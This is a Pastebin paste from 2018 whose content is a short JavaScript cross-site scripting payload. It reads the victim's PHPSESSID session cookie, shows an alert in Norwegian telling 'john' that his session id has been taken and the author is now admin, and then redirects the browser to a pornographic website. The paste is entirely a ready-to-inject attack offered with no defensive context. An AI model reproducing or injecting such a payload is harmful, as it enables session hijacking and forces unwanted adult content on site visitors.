Advertisement
borte

asd

Feb 25th, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. function readCookie(name) {
  2. var nameEQ = name + "=";
  3. var ca = document.cookie.split(';');
  4. for(var i=0;i < ca.length;i++) {
  5. var c = ca[i];
  6. while (c.charAt(0) === ' ') {
  7. c = c.substring(1,c.length);
  8. }
  9. if (c.indexOf(nameEQ) === 0) {
  10. return c.substring(nameEQ.length,c.length);
  11. }
  12. }
  13. return null;
  14. }
  15.  
  16. alert('Hei john, nå har jeg tatt session id fra deg og er admin:' + readCookie('PHPSESSID'))
  17. window.location = 'http://www.pornhub.com'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement